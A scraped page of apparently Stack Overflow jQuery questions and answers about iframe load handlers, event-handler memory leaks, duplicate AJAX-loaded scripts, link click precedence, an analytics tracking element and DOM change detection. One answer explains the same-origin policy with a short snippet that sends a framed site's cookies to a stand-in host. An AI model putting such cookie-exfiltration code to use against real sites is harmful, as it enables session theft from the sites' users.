Event "load" on iframe triggers successfully but iframe can't be targeted - javascript

I've successfully created a snippet of code that takes a CSV array and through an IFRAME drop the text into Wikipedia's search bar and click the search button. Unfortunately, after loading, I'm unable to target the IFRAME's content any longer. I've also nested two load event handlers with the intent to wait for each page to complete loading.
I have the handlers set to unbind/off after firing and that seems to prevent "duplicate events" from firing. I've tried a couple of tactics to determine if the event handler is triggering at the right time along with changing the target ID but not certain what else to try at this point. I suspect the 2nd event handler is triggering while on the previous page since it already triggered ready but the "appends" seem to work as expected.
$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
$("#iframeTarget").unbind();
$("#iframeTarget").off();
$("#iframeTarget").attr("id","iframeTarget2");
$("#debugwindow").append("start interior of 1<br>");
$("#iframeTarget2").on("load", function() {
$("#iframeTarget2").unbind();
$("#iframeTarget2").off();
$("#iframeTarget2").attr("id","iframeTarget3");
$("#debugwindow").append("start interior of 2<br>");
$("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
$("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
// $("#iframecont").html("I ruin everything!"); // targets iframe container as test
$("#debugwindow").append("end interior of 2<br>");
});
$(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
$(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page
$("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");
Looking for any insights into properly setting up the 2 event handlers or if my logic is wrong. Ideally, I will be able to fill the search bar, trigger the search, and then manipulate the DOM on the next loaded page.

This is because of security concerns in the browser. You will not be able to execute any script in the javascript iframe, as it exposes extreme risk if you're able to execute javascript code inside a remote iframe.
For example:
<iframe src="http://website.to.hack"></iframe>
$(iframe).load(() => {
$.ajax({
url: 'http://my.website',
data: iframe.document.cookie
});
});
Now I have all your cookies for that site. Unless that frame has a specific trust between your site and it, you're not going to be able to script. (You'll likely need a chrome extension for that).
See this post and thread for more information.

Related

JavaScript heap size ever increasing with AJAX calls

I am designing a web application, and the app requires that I use AJAX to navigate pages, so the same frame is static, but the inner content changes, like
$(".nav > div").on('click',function(){
var id = $(this).attr('id');
$(".active").removeClass("active");
$(this).addClass("active");
$("#main").load("/page" + id + ".html");
});
which will load page1.html, following me clicking on the element with the id '1', for example.
I then use
$(document).ajaxComplete(function() {...javascript...});
to run the rest of my script which will be interacting with the inner content. My script contains numerous functions like
$('#fade').on('click', function() {
$('#zoom').removeClass('grow').addClass('shrink');
which interact with unqiue id's, all of which are similar in each of the '/page[number].html' files.
My script runs fine if I run it on an entirely static page, but as soon as I start introducing the AJAX element of reloading the html in the inner frame, the website gets slower and slower every time I make an AJAX call - by using the .nav bar - until a crash. The javascript heap size seems to increase almost exponentially, see:
http://imgur.com/0mvoOjA
Not only the js heap size is ever increasing, but it also seems 'paint' is taking up a lot of memory. Each page I am loading a new, fairly high res image, could this be related?
I am fairly new to AJAX calls so any pointers would be appreciated! Thanks
It's likely that you're creating event handlers with $().on on the other pages and you aren't explicitly removing them before you navigate to another page.
$(element).on(event, function() {
// ...
});
When you make an event listener like this jQuery maintains a reference to the function, meaning it can't be garbage collected. Every time you navigate to a new page, you create more event handlers that can't be automatically removed.
function eventHandler() {
// ...
}
// when the page is loaded
$(element).on(event, eventHandler);
// just before you leave
$(element).off(event, eventHandler);
Better still, when you know there only needs to be one interaction with the element before you'll navigate away, you can use one, to create an event listener that will be called only once before it is automatically dereferenced.
$(element).one(event, eventHandler);
// don't worry about removing these handlers
How you structure this code is best determined by your existing application architecture.
You need to unbind the events. If not, you are binding and binding events to your element instead of override it. You can do it with $('#yourElement').unbind('click');

Duplicate javascripts are getting loaded ajax

I'm developing a web based document management for my final year project. The user interacts with only one page and the respective pages will be called using AJAX when the user click the respective tabs (Used tabs for navigation).
Due to multiple user levels (admin, managers, etc.) I've put the javascripts into the correspondent web pages.
When user requests the user request everythings work perfectly except some situations where some functions are triggered multiple times. I found the problem. It is each time the user clicks a tab it loads same scripts as new instance and both of them will be triggered when I call a function.
to load the content I tired
.load and $.ajax(); non of them address the issue.
I tried to put all into the main page at that time my jQueryUI does not work. I tired
$(document).load('click', $('#tab_root li'), function(){});
Same issue remain.
Can anyone help me out this issue?
--Edit--
$(function){
$(document).on('click','#tabs',function(e){
getAjax($(this))
});
}
//method to load via AJAX
function getAjax(lst){
var cont = $(lst).text();
$.ajax({
url:'../MainPageAjaxSupport',
data: {
"cont":cont
},
error: function(request, status, error){
if(status==404){
$('#ajax_body').html("The requested page is not found. Please try again shortly");
}
},
success: function(data){
$('#ajax_body').html(data);
},
});
}
You can't undo JavaScript after it has been executed by simply unloading the file or removing the script element.
The best solution would probably be to set a variable in each JavaScript file you include in your ajax data and include them from an online inline JavaScript inside the ajax data along with a conditional like such:
<script>
if(!tab1Var) $.getScript("filename");
<script>
Older Solutions
You can manually unbind each event before setting them with off.
$(function){
$('#tabs').off('click');
$('#tabs').on('click',function(e){
getAjax($(this));
});
}
Alternatively you can initialize a global variable (eventsBound1=false) for each tab in the main html:
$(function){
if(!eventsBound1){
$('#tabs').on('click', function(e){
getAjax($(this));
});
eventsBound1 = true;
}
}
The tabs click event is only an example you have to do this for each time you bind an event in the scripts that are being reloaded.
if all the events are bound to things inside ajax_body, a final thing you can try is:
success: function(data){
$('#ajax_body').empty();
$('#ajax_body').html(data);
},
You have bind an event click on 'document' so getAjax() only replace the '#ajax_body' not the 'document'.
This means old event is still attached to the 'document' all you need is to unbind event by using $(document).off('click'); or change 'document' to other elements.

Html onmousedown vs href Precedence

I use the following code in one of my html pages.
When user clicks "Search Engines" links it opens yahoo.com on a new page and Google on current page.
I've tested this and it works (opens both urls), but is there any chance that the page will complete the window.location (redirect to a different page) without completing the href command?
Is there a rule for Precedence between the two command?
**Note: I know I can solve the problem in different ways, but I'm curious about this specific situation.
<html>
<head>
<title></title>
<script type="text/javascript">
function clickRedirect() {
window.location = 'http://www.google.com';
}
</script>
<body>
<a onmousedown="clickRedirect()" href="http://www.yahoo.com" target="_blank">Search Engines</a>
</body>
</html>
The mousedown event will happen first, but as you can see from the fact your code is currently working, that's not the whole story.
The question is: Once the mousedown has happened and you've set window.location, does the page get whisked away immediately (and therefore processing of the default action of the click on the a element doesn't happen), or does that default action get completed before the page is destroyed and replaced with the new page?
The answer is: I don't think that's guaranteed behavior at all (either way), and I wouldn't rely on it cross-browser. For one thing, what if the user holds down the mouse button? Since the default action of an a element isn't triggered until a click, which requires a mouseup.
Instead, I'd probably hedge my bets, in two ways:
First, I'd use click, not mousedown, for this. Users don't expect pages to swap out when they just hold the mouse down.
Second, I'd change your function:
function clickRedirect() {
setTimeout(function() {
window.location = "http://www.google.com";
}, 0);
}
Now you're specifically giving the browser a chance to complete the default action of the click before you go off to another page.
You might find more information on this buried deep in the DOM events specifications:
DOM2 Events
DOM3 Events
...in that they might say something about what should happen when an event is in progress and the page is being destroyed. I didn't immediately see anything.

Html element disappearing in production

I'm working on an website where we insert a piece of html into the page when a user signs up e.g.
<span data-log-in-status="complete-sign-up" data-log-in-type="email" id="log_in_status" style="display:none;"></span>
We then have a page load event which finds this element, and pushes this info to Google analytics. In development I can see this element in the page source, in production however, this element is no-where to be found...
This being said however - the analytics complete-sign-up event is fired in both environments!
I'd really like to understand what's going on however - it's like the element appears in the page (the analytics event fires the correct data off) but then disappears... The only thing I can think of is if a piece of javascript somehow removes this element, or if the browser removes it.
Here's a screenshot of what's happening on the network:
Here's the javascript code which gets this data and pushes it to analytics:
$(document).ready(function () {
var status, loginStatus;
loginStatus = $('#log_in_status');
if(loginStatus) {
login_type = $(loginStatus[0]).attr('data-log-in-type');
status = $(loginStatus[0]).attr('data-log-in-status');
pushGAEvent(status, login_type, null, null);
if(status === 'complete-sign-up') {
goog_report_conversion(); //adwords
}
}
});
Thoughts?
Your code will always fire, regardless of weather or not the element exists, as even empty jQuery objects evaluate to true.
Try:
if (loginStatus.length > 0)
instead of:
if (loginStatus)

Check if the webpage has been modified

I am working on chrome extension for facebook. If you use facebook, you know that when you scroll down to the bottom of the news feed/timeline/profile it shows more posts. The extension actually adds a button beside the "like" button. So I need to check if there are more posts to add that button to.
Right now to check if the page has been modified, I use setInterval(function(){},2000).
I want to run a function when the user clicks the button. But this function doesn't work if I put it outside (or even inside) setInterval() – The Koder just now edit
How can I check if the webpage has been modified WITHOUT using a loop?
Example:
$(document).ready(function(){
window.setInterval(function(){
$(".UIActionLinks").find(".dot").css('display','none');
$(".UIActionLinks").find(".taheles_link").css('display','none');
$(".miniActionList").find(".dot").css('display','none');
$(".miniActionList").find(".taheles_link").css('display','none');
//only this function doesn't work:
$(".taheles_link").click(function(){
$(".taheles_default_message").hide();
$(".taheles_saving_message").show();
});
//end
$(".like_link").after('<span class="dot"> · </span><button class="taheles_link stat_elem as_link" title="תגיד תכל´ס" type="submit" name="taheles" onclick="apply_taheles()" data-ft="{"tn":">","type":22}"><span class="taheles_default_message">תכל´ס</span><span class="taheles_saving_message">לא תכלס</span></button>');
$(".taheles_saving_message").hide();
}, 2000);
});
In the future, this extension will use AJAX, so setInterval() can make even more problems for me.
If I understand correctly you want to get a notification when the page's DOM changes. And you want to do this without using the setInterval() function.
As your problem lies within the attaching event handlers to elements that are created after the page has loaded, you might be interested in checking out the jquery.live event attachment technique. I think it will solve your issue.
In general you want the page to throw a mutation event. There is a mutation event spec that might be what you're looking for. Here are some links that might be useful.
http://tobiasz123.wordpress.com/2009/01/19/utilizing-mutation-events-for-automatic-and-persistent-event-attaching/
Detect element content changes with jQuery
$(document).ready(function(){
setInterval('fun()',5000);
fun();
});
function fun()
{
alert(11)
}

Categories